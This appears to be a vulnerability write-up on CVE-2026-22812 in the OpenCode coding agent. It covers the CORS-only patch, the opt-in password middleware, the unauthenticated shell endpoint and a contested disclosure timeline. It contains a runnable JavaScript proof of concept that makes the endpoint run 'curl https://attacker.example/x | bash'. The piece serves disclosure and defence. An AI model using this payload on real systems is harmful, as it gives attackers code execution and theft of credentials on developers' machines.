The CVE description names the bug. OpenCode prior to 1.0.216 starts an HTTP server on 127.0.0.1:4096 that exposes arbitrary shell execution to any local process and to any browser tab via permissive CORS. CVSS 8.8. CWE-306. Anomalyco's fix in v1.0.216 modifies one file: packages/opencode/src/server/server.ts. It changes .use(cors()) to .use(cors({ origin(input) { ... } })) with an allowlist that returns the request origin if it begins with http://localhost:, begins with http://127.0.0.1:, or matches ^https:\/\/([a-z0-9-]+\.)*opencode\.ai$. The patch does not add authentication. The server in v1.0.216 has no authentication of any kind. Seven days after the CVE published, a community contributor opened PR #9328 to make authentication mandatory. The maintainer who shipped the CORS allowlist closed the PR the same day, citing backwards compatibility. As of today, 105 days later, the default state of every opencode serve invocation is still: no password, no token, no auth header required for /session/:id/shell.
CVE-2026-22812: OpenCode Patched the CORS, Not the Auth
patterns
cve
proof of concept
The patch is the diff
The vulnerable line, in v1.0.215, sits in the lazy app initializer at packages/opencode/src/server/server.ts:107:
.use(cors())That is the entire CORS configuration. Hono's cors() middleware, called with no arguments, sets Access-Control-Allow-Origin to *. The Hono docs are explicit: "The default is *." With this default, a JSON POST from any cross-origin web page completes its preflight, the browser sends the actual request, and the server processes it.
Commit 7d2d87fa2 on December 30, 2025, the only security-relevant commit in the v1.0.215..v1.0.216 range, replaces that line:
- .use(cors())
+ .use(
+ cors({
+ origin(input) {
+ if (!input) return
+
+ if (input.startsWith("http://localhost:")) return input
+ if (input.startsWith("http://127.0.0.1:")) return input
+
+ // *.opencode.ai (https only, adjust if needed)
+ if (/^https:\/\/([a-z0-9-]+\.)*opencode\.ai$/.test(input)) {
+ return input
+ }
+ return
+ },
+ }),
+ )That is the patch. The same author, on January 12, 2026, the day the CVE published, landed a separate commit 1954c1255 that added an optional OPENCODE_PASSWORD flag with a basic-auth middleware. The middleware reads as follows on the current dev branch under packages/opencode/src/server/middleware.ts:39:
export const AuthMiddleware: MiddlewareHandler = (c, next) => {
if (c.req.method === "OPTIONS") return next()
const password = Flag.OPENCODE_SERVER_PASSWORD
if (!password) return next()
const username = Flag.OPENCODE_SERVER_USERNAME ?? "opencode"
// ...
return basicAuth({ username, password })(c, next)
}If OPENCODE_SERVER_PASSWORD is not set, the middleware returns next(). No challenge. No 401. The endpoint runs. This auth feature first shipped in v1.1.15, three releases after the CVE-fixing v1.0.216, and even there it is opt-in. The opencode serve command prints a one-line warning when the env var is missing and starts the server anyway:
if (!Flag.OPENCODE_SERVER_PASSWORD) {
console.log("Warning: OPENCODE_SERVER_PASSWORD is not set; server is unsecured.")
}The warning is the auth posture. The default install runs unauth.
The endpoint eval's bash with sourced rc files
POST /session/:sessionID/shell is wired to SessionPrompt.shell, defined in packages/opencode/src/session/prompt.ts:1046. The handler accepts a JSON body of shape { agent: string, command: string }, picks the user's preferred shell, and invokes it. The bash invocation is the one most production developer machines will hit:
bash: {
args: [
"-c",
"-l",
`
shopt -s expand_aliases
[[ -f ~/.bashrc ]] && source ~/.bashrc >/dev/null 2>&1 || true
eval ${JSON.stringify(input.command)}
`,
],
},bash -c -l is a login shell. shopt -s expand_aliases enables alias expansion. ~/.bashrc is sourced. The attacker's command is then eval'd. JSON.stringify quotes the command into the bash heredoc; it is not a sanitizer, it is a string escape so the JS template literal produces valid bash. The bash then executes whatever was passed.
This is the agent's primary capability. OpenCode is an AI coding agent; the LLM proposes shell commands and the agent runs them on the user's machine, with the user's PATH, the user's aliases, the user's SSH agent socket, the user's AWS_PROFILE, the user's GITHUB_TOKEN, the user's everything. That is the design. The LLM-proposes / agent-executes loop is what the product does. The bug is not that the endpoint exists. The bug is that anyone who can reach 127.0.0.1:4096 can become the LLM.
This is the trust-inversion shape we've named before. The agent's authorization to run shell as the user is the trusted lane. The bug moves the attacker into the trusted lane, not by breaking validation, but by removing the assumption that only the local TUI talks to the local server. Every /session/:id/shell POST is, from the server's view, the agent doing its job.
The allowlist names the vendor's domain
Read the post-patch allowlist again. The origins it returns the input for, meaning "yes, this origin may make CORS-enabled requests to this server":
http://localhost:*(any port).http://127.0.0.1:*(any port).tauri://localhost,http://tauri.localhost,https://tauri.localhost(added in a later commit on the dev branch).https://([a-z0-9-]+\.)*opencode\.ai. Any subdomain, any depth, ofopencode.ai.- Any explicit origin the user passed via
--cors.
The first two entries mean: any other process listening on a localhost port, regardless of which port, is in the allowlist. An npm package that runs a dev server on localhost:3000 and serves attacker-controlled JS can issue cross-origin POSTs to localhost:4096/session and the preflight succeeds. Webpack-dev-server, Vite, Next.js dev mode, Storybook, every developer's tab named localhost:something is a permitted origin. The agent and the dev tools live next to each other on the developer's machine by design, and CORS now considers them peers.
The fourth entry is the editorial fact. The patch trusts every subdomain of the vendor's marketing domain with shell access on every machine running OpenCode. docs.opencode.ai, discord.opencode.ai, download.opencode.ai, any subdomain that exists today, any subdomain the vendor or an attacker creates tomorrow. A stored XSS in docs.opencode.ai, a forgotten subdomain pointing at an unclaimed S3 bucket, an outsourced status page, a content-managed pricing page, any of these renders attacker-controlled JS on an origin the patch named as authoritative. JS on that origin makes a fetch to 127.0.0.1:4096/session, gets a session ID, posts to /session/<id>/shell with {agent: "build", command: "..."}, and the developer's workstation runs whatever the LLM "agent" was told to run.
The runnable form, from any whitelisted origin's JavaScript console:
const s = await fetch('http://127.0.0.1:4096/session', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: '{}'
}).then(r => r.json());
await fetch(`http://127.0.0.1:4096/session/${s.id}/shell`, {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
agent: 'build',
command: 'curl https://attacker.example/x | bash'
})
});Two requests. The first creates a session unauthenticated. The second eval's a curl-pipe-to-bash inside the developer's login shell. Same primitive, both before and after the patch. The patch only restricts which web origins can read the response; the requests themselves were always going to be sent.
The auth PR was closed same-day
Seven days after the CVE published, on January 19, 2026, a community contributor opened PR #9328 against anomalyco/opencode titled "Security Fix: CVE-2026-22812, Make HTTP Server Authentication Mandatory." The change auto-generated a secure password using crypto.getRandomValues() if OPENCODE_SERVER_PASSWORD was not configured, printed the password to stderr at startup so the user could capture it, and required Basic Auth for every non-OPTIONS request. The opt-in path was preserved for users who set the env var explicitly.
The PR was closed the same day. The maintainer's stated reason, quoted in the closing comment:
"The reason this has not been flipped yet is for backwards compatibility, this will break all kinds of workflows currently and we will flip the behavior in a larger update."
The contributor forked the repository and shipped the auth fix as barrersoftware/opencode-secure. The fork's README is unambiguous about the position: "Security-hardened fork of OpenCode, Fixes CVE-2026-22812 (CVSS 8.8 RCE) that upstream refuses to patch." The fork's commit message reads: "This fix was submitted to upstream as PR #9328 but was closed by maintainers citing backwards compatibility concerns. We disagree, security should never be compromised for backwards compatibility."
The upstream SECURITY.md documents the design decision in the project's own words. The relevant sentences:
Without this, the server runs unauthenticated (with a warning). It is the end user's responsibility to secure the server, any functionality it provides is not a vulnerability.
That second sentence is the policy. Functionality the server provides is not a vulnerability if the user did not set the env var. The CVE forces a CORS allowlist; the company's documented position is that the unauthenticated shell execution is, by design, the user's job to gate.
The disclosure email sat unanswered for 56 days
The advisory credits CyberShadow as the reporter. The advisory also notes the initial report was sent by email to support@sst.dev on November 17, 2025, with no response. SST is the parent organization behind OpenCode; support@sst.dev is the address on the company's contact page. There is no reply on record.
December 30, 2025, 43 days after the email, the CORS allowlist commit lands. No public coordination with the reporter. No advisory yet.
January 12, 2026, 56 days after the email, two things happen on the same day. The optional password feature lands as commit 1954c1255. The CVE publishes. The advisory makes the disclosure public. The "fix" version v1.0.216, shipped 13 days earlier, contains the CORS allowlist and no password feature; the password feature would not ship until v1.1.15. The CVE record names v1.0.216 as the patched version anyway.
The CVE was the forcing function. The patch went in when the public timeline ran out, not when the bug was understood. The authentication mechanism the maintainer would later call backwards-incompatible was added on the day the public clock started, and it was added as opt-in.
The fix is not a security boundary
Read the allowlist as a question. The patch decides which origins may, today, RCE every developer running OpenCode. The answer the patch landed on is: every other localhost service, every Tauri scheme, every existing or future subdomain of the vendor's marketing domain, plus any extra origins the user passes on the command line. This is not a security boundary. It is a list of parties the vendor has decided to trust with shell on third-party machines without asking those third parties.
This is the design-debt-driver shape. The CORS misconfiguration was the symptom the scanner could name; the primitive underneath it, an HTTP server that runs /session/:id/shell with no authentication by default, is the design choice the project is unwilling to revise. The patch addresses the symptom because the symptom got a CVE. The primitive is preserved because the primitive is what opencode serve is.
The auth middleware that exists in the current code is a return next() if a flag is unset. The flag is unset by default. The maintainer has stated, in writing, that flipping the default is a breaking change deferred to "a larger update" with no commit, no milestone, no date. The community contributor who tried to flip it had their PR closed in hours.
The patch closes this CVE. It does not close this bug.